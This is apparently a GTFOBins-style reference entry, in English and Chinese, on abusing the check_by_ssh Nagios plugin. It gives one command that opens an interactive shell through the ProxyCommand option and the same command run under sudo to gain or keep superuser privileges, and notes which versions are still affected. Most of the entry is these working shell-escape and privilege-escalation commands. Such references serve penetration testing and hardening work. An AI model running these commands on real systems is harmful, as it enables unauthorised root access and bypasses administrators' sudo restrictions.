.. / check_by_ssh

This is the check_by_ssh Nagios plugin, available e.g. in /usr/lib/nagios/plugins/. When check_by_ssh version 2.4.5 (2023-05-31) or later from the Nagios Plugins project in it's default configuration is used, it does not work anymore. It does still work on previous versions from the Nagios Plugins project or all versions from the Monitoring Project (e.g. used by Ubuntu/Debian).

shell

用来生成一个交互式的系统shell。

shell 只会持续10秒。

check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

shell 只会持续10秒。

sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx